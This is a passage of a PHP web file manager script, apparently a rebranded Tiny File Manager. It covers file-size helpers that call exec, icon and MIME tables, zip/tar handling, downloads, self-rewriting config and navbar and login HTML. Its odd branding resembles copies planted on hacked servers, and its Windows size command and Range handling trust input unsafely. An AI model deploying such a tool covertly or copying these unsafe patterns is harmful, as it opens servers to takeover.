        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'sympathizing<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="sympathizing">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 